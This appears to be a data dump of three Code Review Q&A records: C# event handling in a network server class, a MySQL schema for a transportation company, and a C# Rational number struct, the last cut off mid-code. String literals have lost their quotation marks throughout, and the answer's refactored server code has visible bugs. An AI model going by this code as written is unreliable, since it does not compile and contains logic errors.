{  "id": "_codereview.96293"  , "question": "Is it appropriate for the class to subscribe to its own events like this? Should the class not subscribe, and instead move that code to before the OnEventName(Object args) methods call the EventHandlers? I'm curious if there are any downfalls to this approach.On one hand, with this approach I could remove all the null checks on the event-firing methods. On the other hand, what if another event down the road needs information from the event handling I have already added a subscription to. I.e. in the future a method needs the NetworkServer_Error method to have been guaranteed to have fired before it can work.I'm mostly concerned with the event logic here, not so much the implementations. None of these implementations are concrete, but I want to make sure I have done this part properly first.public class NetworkServer{    NetPeerConfiguration mainServerConfiguration;    NetServer mainNetServer;    List<NetConnection> connectedClients = new List<NetConnection>();    public NetworkServer()    {        mainServerConfiguration = new NetPeerConfiguration(SecretKey);        mainServerConfiguration.AcceptIncomingConnections = true;        mainServerConfiguration.Port = 5501;        mainNetServer = new NetServer(mainServerConfiguration);        // Wire up our events        Error += NetworkServer_Error;        DataReceived += NetworkServer_DataReceived;        StatusChanged += NetworkServer_StatusChanged;        ClientConnected += NetworkServer_ClientConnected;        ClientDisconnected += NetworkServer_ClientDisconnected;    }    void NetworkServer_DataReceived(object sender, NetMessageEventArgs e)    {        Program.LogLine(Data recieved from:  + e.Message.SenderConnection.RemoteEndPoint.ToString() + , Payload size:  + e.Message.LengthBytes.ToString(), LoggingType.Information);    }    void NetworkServer_Error(object sender, MessageEventArgs e)    {        Program.LogLine(e.Message, LoggingType.Error);    }    void NetworkServer_ClientConnected(object sender, ConnectionEventArgs e)    {        if (!connectedClients.Contains(e.Connection))        {            connectedClients.Add(e.Connection);            Program.LogLine(New client discovered:  + e.Connection.RemoteEndPoint.ToString(), LoggingType.Information);        }    }    void NetworkServer_ClientDisconnected(object sender, ConnectionEventArgs e)    {        if (connectedClients.Contains(e.Connection))            connectedClients.Remove(e.Connection);        Program.LogLine(Client lost:  + e.Connection.RemoteEndPoint.ToString(), LoggingType.Information);    }    void NetworkServer_StatusChanged(object sender, StatusChangedEventArgs e)    {        switch (e.Connection.Status)        {            case NetConnectionStatus.Disconnected:                OnClientDisconnected(new ConnectionEventArgs(e.Connection));                break;            case NetConnectionStatus.Connected:                OnClientConnected(new ConnectionEventArgs(e.Connection));                break;            default:                Program.LogLine(Unhandled StatusChanged:  + e.Connection.RemoteEndPoint.ToString() +  now  + e.Connection.Status + ., LoggingType.Warning);                break;        }    }    public Task RunServer()    {        return Task.Run(() =>        {            mainNetServer.Start();            DateTime started = DateTime.UtcNow;            Program.LogLine(string.Format(The server was started on {0} at {1}., started.ToString(dd-MM-yyyy), started.ToString(HH:mm:ss.fffffff)), LoggingType.Important);            while (true)            {                NetIncomingMessage msg;                while ((msg = mainNetServer.ReadMessage()) != null)                {                    switch (msg.MessageType)                    {                        case NetIncomingMessageType.VerboseDebugMessage:                        case NetIncomingMessageType.DebugMessage:                        case NetIncomingMessageType.WarningMessage:                        case NetIncomingMessageType.ErrorMessage:                            OnError(new MessageEventArgs(msg.ReadString()));                            break;                        case NetIncomingMessageType.StatusChanged:                            OnStatusChanged(new StatusChangedEventArgs(msg.SenderConnection));                            break;                        case NetIncomingMessageType.Data:                            OnDataReceived(new NetMessageEventArgs(msg));                            break;                        default:                            Program.LogLine(Unhandled type:  + msg.MessageType, LoggingType.Warning);                            break;                    }                    mainNetServer.Recycle(msg);                }                System.Threading.Thread.Sleep(1);            }        });    }    void OnError(MessageEventArgs args)    {        if (Error != null)            Error(this, args);    }    void OnStatusChanged(StatusChangedEventArgs args)    {        if (StatusChanged != null)            StatusChanged(this, args);    }    void OnDataReceived(NetMessageEventArgs args)    {        if (DataReceived != null)            DataReceived(this, args);    }    void OnClientDisconnected(ConnectionEventArgs args)    {        if (ClientDisconnected != null)            ClientDisconnected(this, args);    }    void OnClientConnected(ConnectionEventArgs args)    {        if (ClientConnected != null)            ClientConnected(this, args);    }    public event MessageEventHandler Error;    public event NetMessageEventHandler DataReceived;    public event StatusChangedEventHandler StatusChanged;    public event ConnectionChangedEventHandler ClientConnected;    public event ConnectionChangedEventHandler ClientDisconnected;}Here are the EventHandler delegates:public delegate void MessageEventHandler(Object sender, MessageEventArgs e);public delegate void NetMessageEventHandler(Object sender, NetMessageEventArgs e);public delegate void StatusChangedEventHandler(Object sender, StatusChangedEventArgs e);public delegate void ConnectionChangedEventHandler(Object sender, ConnectionEventArgs e);And, lastly, the EventArgs classes:public class ConnectionEventArgs : EventArgs{    private NetConnection _Connection;    public NetConnection Connection { get { return _Connection; } }    public ConnectionEventArgs(NetConnection client)    {        this._Connection = client;    }}public class MessageEventArgs : EventArgs{    private string _Message;    public string Message { get { return _Message; } }    public MessageEventArgs(string message)    {        this._Message = message;    }}public class NetMessageEventArgs{    public NetIncomingMessage Message { get; private set; }    public NetMessageEventArgs(NetIncomingMessage message)    {        Message = message;    }}public class StatusChangedEventArgs : ConnectionEventArgs{    public StatusChangedEventArgs(NetConnection client)        : base(client)    {    }}Lastly, the Program class calling the NetworkServer:class Program{    static LoggingType logMessageTypes = LoggingType.All;    static void Main(string[] args)    {        NetworkServer ns = new NetworkServer();        Task t = ns.RunServer();        t.Wait();        LogLine(Done!, LoggingType.Information);    }    public static void LogLine(string line, LoggingType type, ConsoleColor foreColor = ConsoleColor.Gray, ConsoleColor backColor = ConsoleColor.Black)    {        if (type <= logMessageTypes)        {            Console.ForegroundColor = foreColor;            Console.BackgroundColor = backColor;            Console.WriteLine(DateTime.UtcNow.ToString(O) + :  + type.ToString() + :  + line);        }    }}"  , "title": "Subscribing an Object to its own Events"  , "tags": "c#;object oriented;.net;event handling"  , "accepted_answer": "Basically the communication between objects is done in two different ways.  A parent object is talking to its child object by using the child objects methods and properties.A child object is talking to its parent by using events.  So I support @Thomas W with his answer.  That beeing said, let us start with the refactoring ideas.  The EventArgs classes You should either make the variables you use public readonly omiting the property or use autoimplemented properties with a private setter, because they are only read but never written.  The NetMessageEventArgs class is missing the inheriting from EventArgs which should be done.See: https://stackoverflow.com/a/6816889/2655508 it allows people using your classes to use and handle generic *Handler(object sender, EventArgs e) declarations. If you don't inherit from EventArgs, then they have to use explicitly typed  I don't see a reason to name the constructors parameter client in the ConnectionEventArgs and StatusChangedEventArgs classes. A more obvious name would be connection.  The result of the applied changes (which aren't needed anymore, but posting them nevertheless) public class ConnectionEventArgs : EventArgs{    public NetConnection Connection { get; private set; }    public ConnectionEventArgs(NetConnection connection)    {        Connection = connection;    }}public class MessageEventArgs : EventArgs{    public string Message { get; private set; }    public MessageEventArgs(string message)    {        Message = message;    }}public class NetMessageEventArgs : EventArgs{    public NetIncomingMessage Message { get; private set; }    public NetMessageEventArgs(NetIncomingMessage message)    {        Message = message;    }}public class StatusChangedEventArgs : ConnectionEventArgs{    public StatusChangedEventArgs(NetConnection connection)        : base(connection)    {    }}NetworkServer class mainNetServer and connectedClients should be made readonly so you won't accidently assign some new value to them.  You should move the NetPeerConfiguration mainServerConfiguration; inside the constructor, because you only use it there. Or much better you should inject it into the constructor. Your class does not need to know how it is created nor should it need to create it. It only needs to use it.    You should declare the NetPeerConfiguration mainServerConfiguration; and NetServer mainNetServer; explicitly private to make this more obvious.  Instead of using a List<NetConnection> I would like to encourage you to use a HashSet<NetConnection>. In this way you don't need to check if item is in the set, you can just call Add() and don't have to worry about it beeing already in the set.  based on your comments to @Thomas W's answer the only object which is using the provided events is the object itself. So you could use simple methods leaving aside the events.  you should use a ILogger interface which should be injected to the constructor instead of using a public static method of the calling object.  with using string.Format() you can make the messages easier to read and could make them constant if you want to. The result of the applied changes  public class NetworkServer{    private readonly NetServer mainNetServer;    private readonly HashSet<NetConnection> connectedClients = new HashSet<NetConnection>();    public NetworkServer(NetPeerConfiguration mainServerConfiguration)    {        mainNetServer = new NetServer(mainServerConfiguration);    }    private void ProcessReceivedMessage(NetIncomingMessage message)    {        string msg = Data recieved from: {0}, Payload size: {1}        LogMessage(msg, LoggingType.Information,                     message.SenderConnection.RemoteEndPoint, message.LengthBytes);    }    private void LogMessage(string message, LoggingType loggingType, params Object[] par)    {        message = FormatMessage(message, par);        Program.LogLine(message, loggingType);    }    private String FormatMessage(string message, params Object[] par)    {        if (par.Length == 0)        {            return message;        }        return string.Format(message, par);    }    private void ProcessErrorMessage(string message)    {        LogMessage(message, LoggingType.Error);    }    private void AddClient(NetConnection connection)    {        if (connectedClients.Add(connection))        {            string msg = New client discovered: {0};            LogMessage(msg, LoggingType.Information, connection.RemoteEndPoint)        }    }    private void RemoveClient(NetConnection connection)    {        connectedClients.Remove(connection);        string msg = Client lost: {0};        LogMessage(msg, LoggingType.Information, connection.RemoteEndPoint)    }    private void ProcessStatusChangedMessage(NetConnection connection)    {        switch (connection.Status)        {            case NetConnectionStatus.Disconnected:                RemoveClient(e.Connection);                break;            case NetConnectionStatus.Connected:                AddClient(e.Connection);                break;            default:                LogMessage(Unhandled StatusChanged: {0} now {1}.,                              LoggingType.Warning,                              e.Connection.RemoteEndPoint,                              e.Connection.Status);                break;        }    }    public Task RunServer()    {        return Task.Run(() =>        {            mainNetServer.Start();            DateTime started = DateTime.UtcNow;            LogMessage(The server was started on {0} at {1}.,                          LoggingType.Important,                          started.ToString(dd-MM-yyyy),                          started.ToString(HH:mm:ss.fffffff));            while (true)            {                NetIncomingMessage msg;                while ((msg = mainNetServer.ReadMessage()) != null)                {                    switch (msg.MessageType)                    {                        case NetIncomingMessageType.VerboseDebugMessage:                        case NetIncomingMessageType.DebugMessage:                        case NetIncomingMessageType.WarningMessage:                        case NetIncomingMessageType.ErrorMessage:                            ProcessErrorMessage(msg.ReadString());                            break;                        case NetIncomingMessageType.StatusChanged:                            ProcessStatusChangedMessage(msg.SenderConnection);                            break;                        case NetIncomingMessageType.Data:                            ProcessStatusChangedMessage(msg);                            break;                        default:                            LogMessage(Unhandled type: {0}, LoggingType.Warning,                                         msg.MessageType);                                             break;                    }                    mainNetServer.Recycle(msg);                }                System.Threading.Thread.Sleep(1);            }        });    }}"  } 
{  "id": "_codereview.128303"  , "question": "I am designing a database and I am just wondering if I am doing it correctly. I have tables for things like State with all the states in them and then I reference the ID in other tables. But should I just handle this in my UI and then store it as a string or is this the correct way?The goal of this database is to handle day to day operations of a transportation company. This version of the database is only focused on handling People and contacts. We manage employees, drivers, and there positions in the company. We will be tracking things like accidents, and other incidents drivers have, and gain a better understanding of driver / employee turn over.---- Database: `hrm`---- ------------------------------------------------------------ Table structure for table `address`--CREATE TABLE `address` (  `address_id` int(11) NOT NULL COMMENT 'Primary key for address rows.',  `address_line_one` varchar(60) NOT NULL COMMENT 'First street-address line.',  `address_line_two` varchar(60) DEFAULT NULL COMMENT 'Second street address line.',  `city` varchar(30) NOT NULL COMMENT 'Name of the city.',  `state_id` int(11) NOT NULL COMMENT 'Foreign key to state table.',  `postal_code` varchar(15) NOT NULL COMMENT 'Postal code for the street address.',  `modified_date` datetime NOT NULL COMMENT 'Date and time the row was last updated.') ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `contact`--CREATE TABLE `contact` (  `contact_id` int(11) NOT NULL COMMENT 'Primary key for contact rows.',  `title` varchar(8) DEFAULT NULL COMMENT 'A courtesy title. For example, Mr. or Ms.',  `first_name` varchar(50) NOT NULL COMMENT 'First name of the person.',  `middle_name` varchar(50) DEFAULT NULL COMMENT 'Middle name or middle initial of the person.',  `last_name` varchar(50) NOT NULL COMMENT 'Last name of the person.',  `suffix` varchar(10) DEFAULT NULL COMMENT 'Surname suffix. For example, Sr. or Jr.',  `email_address` varchar(50) DEFAULT NULL COMMENT 'E-mail address for the person.',  `phone_number` varchar(25) DEFAULT NULL COMMENT 'Phone number associated with the person.',  `address_id` int(11) DEFAULT NULL COMMENT 'Foreign key to address table. ',  `modified_date` datetime NOT NULL COMMENT 'Date and time the row was last updated.') ENGINE=InnoDB DEFAULT CHARSET=latin1 COMMENT=' ';-- ------------------------------------------------------------ Table structure for table `driver`--CREATE TABLE `driver` (  `driver_id` int(11) NOT NULL,  `employee_id` int(11) NOT NULL,  `driver_type_id` int(11) NOT NULL,  `rating_id` int(11) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `driver_type`--CREATE TABLE `driver_type` (  `driver_type_id` int(11) NOT NULL,  `name` varchar(25) NOT NULL,  `abbreviation` varchar(5) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `driver_type`--INSERT INTO `driver_type` (`driver_type_id`, `name`, `abbreviation`) VALUES(1, 'Ambulatory', 'AMB'),(2, 'Wheelchair', 'WC'),(3, 'Bus', 'BUS'),(4, 'Taxi', 'TX');-- ------------------------------------------------------------ Table structure for table `employee`--CREATE TABLE `employee` (  `employee_id` int(11) NOT NULL,  `contact_id` int(11) NOT NULL,  `status_id` int(11) NOT NULL,  `job_title` varchar(50) DEFAULT NULL,  `birth_date` date DEFAULT NULL,  `interview_date` date DEFAULT NULL,  `hire_date` date DEFAULT NULL,  `modified_date` datetime NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `employee`--INSERT INTO `employee` (`employee_id`, `contact_id`, `status_id`, `job_title`, `birth_date`, `interview_date`, `hire_date`, `modified_date`) VALUES(1, 1, 2, 'IT Director', '1991-08-10', '2016-02-17', '2016-02-18', '2016-04-25 11:58:00');-- ------------------------------------------------------------ Table structure for table `incident`--CREATE TABLE `incident` (  `incident_id` int(11) NOT NULL,  `incident_type_id` int(11) NOT NULL,  `driver_id` int(11) NOT NULL,  `reported_date` datetime NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `incident_type`--CREATE TABLE `incident_type` (  `incident_type_id` int(11) NOT NULL,  `name` varchar(75) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `incident_type`--INSERT INTO `incident_type` (`incident_type_id`, `name`) VALUES(1, 'Tardiness'),(2, 'No Show'),(3, 'Insubordination'),(4, 'Failure to follow protocol'),(5, 'Failure to report incident'),(6, 'Dress code violation');-- ------------------------------------------------------------ Table structure for table `note`--CREATE TABLE `note` (  `note_id` int(11) NOT NULL,  `contact_id` int(11) NOT NULL,  `note` varchar(255) NOT NULL,  `created_date` datetime NOT NULL,  `modified_date` datetime NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `rating`--CREATE TABLE `rating` (  `rating_id` int(11) NOT NULL,  `name` varchar(50) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `rating`--INSERT INTO `rating` (`rating_id`, `name`) VALUES(1, 'Very Poor'),(2, 'Poor'),(3, 'Fair'),(4, 'Good'),(5, 'Very Good');-- ------------------------------------------------------------ Table structure for table `state`--CREATE TABLE `state` (  `state_id` int(11) NOT NULL COMMENT 'Primary key for state table.',  `name` varchar(50) NOT NULL COMMENT 'The name of the state.',  `abbreviation` varchar(5) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `state`--INSERT INTO `state` (`state_id`, `name`, `abbreviation`) VALUES(1, 'Alabama', 'AL'),(2, 'Alaska', 'AK'),(3, 'Arizona', 'AZ'),(4, 'Arkansas', 'AR'),(5, 'California', 'CA'),(6, 'Colorado', 'CO'),(7, 'Connecticut', 'CT'),(8, 'Delaware', 'DE'),(9, 'Florida', 'FL'),(10, 'Georgia', 'GA'),(11, 'Hawaii', 'HI'),(12, 'Idaho', 'ID'),(13, 'Illinois', 'IL'),(14, 'Indiana', 'IN'),(15, 'Iowa', 'IA'),(16, 'Kansas', 'KS'),(17, 'Kentucky', 'KY'),(18, 'Louisiana', 'LA'),(19, 'Maine', 'ME'),(20, 'Maryland', 'MD'),(21, 'Massachusetts', 'MA'),(22, 'Michigan', 'MI'),(23, 'Minnesota', 'MN'),(24, 'Mississippi', 'MS'),(25, 'Missouri', 'MO'),(26, 'Montana', 'MT'),(27, 'Nebraska', 'NE'),(28, 'Nevada', 'NV'),(29, 'New Hampshire', 'NH'),(30, 'New Jersey', 'NJ'),(31, 'New Mexico', 'NM'),(32, 'New York', 'NY'),(33, 'North Carolina', 'NC'),(34, 'North Dakota', 'ND'),(35, 'Ohio', 'OH'),(36, 'Oklahoma', 'OK'),(37, 'Oregon', 'OR'),(38, 'Pennsylvania', 'PA'),(39, 'Rhode Island', 'RI'),(40, 'South Carolina', 'SC'),(41, 'South Dakota', 'SD'),(42, 'Tennessee', 'TN'),(43, 'Texas', 'TX'),(44, 'Utah', 'UT'),(45, 'Vermont', 'VT'),(46, 'Virginia', 'VA'),(47, 'Washington', 'WA'),(48, 'West Virginia', 'WV'),(49, 'Wisconsin', 'WI'),(50, 'Wyominng', 'WY');-- ------------------------------------------------------------ Table structure for table `status`--CREATE TABLE `status` (  `status_id` int(11) NOT NULL,  `name` varchar(25) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Dumping data for table `status`--INSERT INTO `status` (`status_id`, `name`) VALUES(1, 'Applied'),(2, 'Employed'),(3, 'Disabled'),(4, 'Incarcerated'),(5, 'Deceased'),(6, 'Quit'),(7, 'Terminated'),(8, 'Incompatible');-- ------------------------------------------------------------ Table structure for table `upload`--CREATE TABLE `upload` (  `upload_id` int(11) NOT NULL,  `contact_id` int(11) NOT NULL,  `user_id` int(11) NOT NULL,  `name` varchar(200) NOT NULL,  `size` varchar(200) NOT NULL,  `type` varchar(200) NOT NULL,  `url` varchar(200) NOT NULL,  `description` varchar(200) DEFAULT NULL,  `upload_date` datetime NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;-- ------------------------------------------------------------ Table structure for table `user`--CREATE TABLE `user` (  `user_id` int(11) NOT NULL,  `contact_id` int(11) NOT NULL,  `username` varchar(50) NOT NULL,  `password` varchar(50) NOT NULL,  `last_login` datetime DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;---- Indexes for dumped tables------ Indexes for table `address`--ALTER TABLE `address`  ADD PRIMARY KEY (`address_id`),  ADD KEY `state_id` (`state_id`);---- Indexes for table `contact`--ALTER TABLE `contact`  ADD PRIMARY KEY (`contact_id`),  ADD KEY `address_id` (`address_id`);---- Indexes for table `driver`--ALTER TABLE `driver`  ADD PRIMARY KEY (`driver_id`),  ADD KEY `employee_id` (`employee_id`),  ADD KEY `driver_type_id` (`driver_type_id`),  ADD KEY `rating_id` (`rating_id`);---- Indexes for table `driver_type`--ALTER TABLE `driver_type`  ADD PRIMARY KEY (`driver_type_id`);---- Indexes for table `employee`--ALTER TABLE `employee`  ADD PRIMARY KEY (`employee_id`),  ADD UNIQUE KEY `ix_contact_id` (`contact_id`),  ADD KEY `idx_status_id` (`status_id`);---- Indexes for table `incident`--ALTER TABLE `incident`  ADD PRIMARY KEY (`incident_id`),  ADD KEY `incident_type_id` (`incident_type_id`),  ADD KEY `driver_id` (`driver_id`);---- Indexes for table `incident_type`--ALTER TABLE `incident_type`  ADD PRIMARY KEY (`incident_type_id`);---- Indexes for table `note`--ALTER TABLE `note`  ADD PRIMARY KEY (`note_id`),  ADD KEY `contact_id` (`contact_id`);---- Indexes for table `rating`--ALTER TABLE `rating`  ADD PRIMARY KEY (`rating_id`);---- Indexes for table `state`--ALTER TABLE `state`  ADD PRIMARY KEY (`state_id`);---- Indexes for table `status`--ALTER TABLE `status`  ADD PRIMARY KEY (`status_id`);---- Indexes for table `upload`--ALTER TABLE `upload`  ADD PRIMARY KEY (`upload_id`),  ADD KEY `contact_id` (`contact_id`),  ADD KEY `user_id` (`user_id`);---- Indexes for table `user`--ALTER TABLE `user`  ADD PRIMARY KEY (`user_id`),  ADD UNIQUE KEY `contact_id` (`contact_id`);---- AUTO_INCREMENT for dumped tables------ AUTO_INCREMENT for table `address`--ALTER TABLE `address`  MODIFY `address_id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'Primary key for address rows.', AUTO_INCREMENT=22;---- AUTO_INCREMENT for table `contact`--ALTER TABLE `contact`  MODIFY `contact_id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'Primary key for contact rows.', AUTO_INCREMENT=23;---- AUTO_INCREMENT for table `driver`--ALTER TABLE `driver`  MODIFY `driver_id` int(11) NOT NULL AUTO_INCREMENT;---- AUTO_INCREMENT for table `driver_type`--ALTER TABLE `driver_type`  MODIFY `driver_type_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;---- AUTO_INCREMENT for table `employee`--ALTER TABLE `employee`  MODIFY `employee_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=16;---- AUTO_INCREMENT for table `incident`--ALTER TABLE `incident`  MODIFY `incident_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;---- AUTO_INCREMENT for table `incident_type`--ALTER TABLE `incident_type`  MODIFY `incident_type_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;---- AUTO_INCREMENT for table `note`--ALTER TABLE `note`  MODIFY `note_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;---- AUTO_INCREMENT for table `rating`--ALTER TABLE `rating`  MODIFY `rating_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;---- AUTO_INCREMENT for table `state`--ALTER TABLE `state`  MODIFY `state_id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'Primary key for state table.', AUTO_INCREMENT=51;---- AUTO_INCREMENT for table `status`--ALTER TABLE `status`  MODIFY `status_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9;---- AUTO_INCREMENT for table `upload`--ALTER TABLE `upload`  MODIFY `upload_id` int(11) NOT NULL AUTO_INCREMENT;---- AUTO_INCREMENT for table `user`--ALTER TABLE `user`  MODIFY `user_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;"  , "title": "Database design for a transportation company"  , "tags": "sql;mysql;database"  , "accepted_answer": "latin1 in this day and age?  You probably have a plan to deal with names that aren't in that character set?  The whole split between first, middle and last name also might conflict with the real world.  (I guess the names argument is a bit overkill, but you could possibly also get away with a single generic name field.)A few tables are really hidden enumerations - you could think about using something on the application level rather than requiring yet another join on every operation (or use MySQL enumerations which are rather unwieldy though).  Edit:  That's basically the answer to your first question, i.e. I'd probably go with the actual string value if you don't need to associate more information with the enumeration.The user table has the column password.  That has to be a password hash (meaning the field will have a lower fixed length) and should consequently be named password_hash or something similar.Lacking the exact requirements I still find the upload table a bit weird - why are size and type of type varchar(200)?  Both sound way more restricted in scope and size more like it should be an integer type instead."  } 
{  "id": "_codereview.84365"  , "question": "I have written a Rational struct for working with rational numbers, i.e. Rational(int numerator, int denominator).A recent post regarding rational numbers peaked my interest.  I particular like the answer by @aush with his RationalNumber class.  I am inclined to think of a rational number as just that: a number, akin to { int, double, Decimal }.  So it screams for struct rather than a class.Note I am neither a student, nor a teacher.  Though I write code for a living, I have no business requirements for Rational, which means I have no constraints or restrictions on the struct design.  I am only limited by what I can imagine how a rational number should behave.  In fact, I have no foreseen practical need for Rational.  I just find that going through such mental exercises helps improve my overall skills.  namespace System{    public struct Rational : IComparable, IComparable<Rational>, IEquatable<Rational>    {        public int Numerator { get; private set; }        public int Denominator { get; private set; }        // These fields bypass Simplify().        public static readonly Rational MinValue = new Rational { Numerator = int.MinValue, Denominator = 1 };        public static readonly Rational MaxValue = new Rational { Numerator = int.MaxValue, Denominator = 1 };        public static readonly Rational Epsilon = new Rational { Numerator = 1, Denominator = int.MaxValue };        public static readonly Rational Undefined = new Rational { Numerator = 0, Denominator = 0 };        public static readonly Rational Zero = new Rational { Numerator = 0, Denominator = 1 };        public static readonly Rational One = new Rational { Numerator = 1, Denominator = 1 };        public static readonly Rational MinusOne = new Rational { Numerator = -1, Denominator = 1 };        public Rational(int numerator, int denominator = 1) : this()        {            this.Numerator = numerator;            this.Denominator = denominator;            // There is a special case where Simplify() could throw an exception:            //            //      new Rational(int.MinValue, certainNegativeIntegers)            //            // In general, having the contructor throw an exception is bad practice.            // However given the extremity of this special case and the fact that Rational             // is an immutable struct where its inputs are ONLY validated DURING            // construction, I allow the exception to be thrown here.            Simplify();        }        public static bool TryCreate(int numerator, int denominator, out Rational result)        {            try            {                result = new Rational(numerator, denominator);                return true;            }            catch            {                result = Undefined;            }            return false;        }        public static bool TryParse(string s, out Rational result)        {            try            {                result = Rational.Parse(s);                return true;            }            catch            {                result = Undefined;            }            return false;        }        public static Rational Parse(string s)        {            // Note that 3 / -4 would return new Rational(-3, 4).            var tokens = s.Split(new char[] { '/' });            var numerator = 0;            var denominator = 0;            switch (tokens.Length)            {                case 1:                    numerator = GetInteger(Numerator, tokens[0]);                    denominator = 1;                    break;                case 2:                    numerator = GetInteger(Numerator, tokens[0]);                    denominator = GetInteger(Denominator, tokens[1]);                    break;                default:                    throw new ArgumentException(string.Format(Invalid input string: '{0}', s));            }            return new Rational(numerator, denominator);        }        // This is only called by Parse.        private static int GetInteger(string desc, string s)        {            if (string.IsNullOrWhiteSpace(s))            {                throw new ArgumentNullException(desc);            }            var result = 0;            // TODO: Decide whether it's good idea to convert  -  4 to -4.            s = s.Replace( , string.Empty);            if (!int.TryParse(s, out result))            {                throw new ArgumentException(string.Format(Invalid value for {0}: '{1}', desc, s));            }            return result;        }        //TODO: consider other overloads of ToString().  Perhaps one to always display a division symbol.        // For example, new Rational(0, 0).ToString() --> 0/0 instead of Undefined, or        //              new Rational(5).ToString()    --> 5/1 instead of 5        public override string ToString()        {            switch (Denominator)            {                case 0:                    return Undefined;                case 1:                    return Numerator.ToString();            }            return string.Format({0}/{1}, Numerator, Denominator);        }        public int CompareTo(object other)        {            if (other == null) return 1;            if (other is Rational) return CompareTo((Rational)other);            throw new ArgumentException(Argument must be Rational);        }        public int CompareTo(Rational other)        {            if (IsUndefined)            {                // While IEEE decrees that floating point NaN's are not equal to each other,                // I am not under any decree to adhere to that same specification for Rational.                return other.IsUndefined ? 0 : -1;            }            if (other.IsUndefined) return 1;            return this.ToDouble().CompareTo(other.ToDouble());        }        public bool Equals(Rational other)        {            if (IsUndefined) return other.IsUndefined;            return (this.Numerator == other.Numerator) && (this.Denominator == other.Denominator);        }        public override bool Equals(object other)        {            if (other == null) return false;            if (other is Rational) return Equals((Rational)other);            throw new ArgumentException(Argument must be Rational);        }        // Mofified code that was stolen from:        // http://www.dotnetframework.org/default.aspx/4@0/4@0/DEVDIV_TFS/Dev10/Releases/RTMRel/ndp/clr/src/BCL/System/Double@cs/1305376/Double@cs        // The hashcode for a double is the absolute value of the integer representation of that double.        [System.Security.SecuritySafeCritical]  // auto-generated        public unsafe override int GetHashCode()        {            if (Numerator == 0)            {                // Ensure that 0 and -0 have the same hash code                return 0;            }            double d = ToDouble();            long value = *(long*)(&d);            return unchecked((int)value) ^ ((int)(value >> 32));        }        public static bool operator ==(Rational rat1, Rational rat2)        {            return rat1.Equals(rat2);        }        public static bool operator !=(Rational rat1, Rational rat2)        {            return !rat1.Equals(rat2);        }        public static Rational operator +(Rational rat1, Rational rat2)        {            if (rat1.IsUndefined || rat2.IsUndefined)            {                return Undefined;            }            return new Rational            {                Numerator = rat1.Numerator * rat2.Denominator + rat1.Denominator * rat2.Numerator,                Denominator = rat1.Denominator * rat2.Denominator            }.Simplify();        }        public static Rational operator -(Rational rat1, Rational rat2)        {            if (rat1.IsUndefined || rat2.IsUndefined)            {                return Undefined;            }            return new Rational            {                Numerator = rat1.Numerator * rat2.Denominator - rat1.Denominator * rat2.Numerator,                Denominator = rat1.Denominator * rat2.Denominator            }.Simplify();        }        public static Rational operator *(Rational rat1, Rational rat2)        {            if (rat1.IsUndefined || rat2.IsUndefined)            {                return Undefined;            }            return new Rational            {                Numerator = rat1.Numerator * rat2.Numerator,                Denominator = rat1.Denominator * rat2.Denominator            }.Simplify();        }        public static Rational operator /(Rational rat1, Rational rat2)        {            if (rat1.IsUndefined || rat2.IsUndefined)            {                return Undefined;            }            return new Rational            {                Numerator = rat1.Numerator * rat2.Denominator,                Denominator = rat1.Denominator * rat2.Numerator            }.Simplify();        }        // The simplified Denominator will always be >= 0 for any Rational.        // For a Rational to be negative, the simplified Numerator will be negative.        // Thus a Rational(3, -4) would simplify to Rational(-3, 4).        private Rational Simplify()        {            // These corner cases are very quick checks that means slightly longer code.            // Yet I feel their explicit handling makes their logic more clear to future maintenance.            // More importantly, it bypasses modulus and division when its not absolutely needed.            if (IsUndefined)             {                Numerator = 0;                return this;            }            if (Numerator == 0)            {                Denominator = 1;                return this;            }            if (IsInteger)               {                return this;            }            if (Numerator == Denominator)            {                Numerator = 1;                Denominator = 1;                return this;            }            if (Denominator < 0)            {                // One special corner case when unsimplified Denominator is < 0 and Numerator equals int.MinValue.                if (Numerator == int.MinValue)                {                    return ReduceOrThrow();                }                // Simpler and faster than mutiplying by -1                Numerator = -Numerator;                Denominator = -Denominator;            }            // We only perform modulus and division if we absolutely must.            Reduce();            return this;        }        private void Reduce()        {            var greatestCommonDivisor = GreatestCommonDivisor(Numerator, Denominator);            Numerator /= greatestCommonDivisor;            Denominator /= greatestCommonDivisor;        }        // Very special one off case: only called when unsimplified Numerater equals int.MinValue and Denominator is negative.        // Some combinations produce a valid Rational, such as Rational(int.MinValue, int.MinValue), equivalent to Rational(1).        // Others are not valid, such as Rational(int.MinValue, -1) because the Numerator would need to be (int.MaxValue + 1).        private Rational ReduceOrThrow()        {            try            {                Reduce();                return this;            }            catch            {                throw new ArgumentException(string.Format(Invalid Rational(int.MinValue, {0}), Denominator));            }        }        public bool IsUndefined { get { return 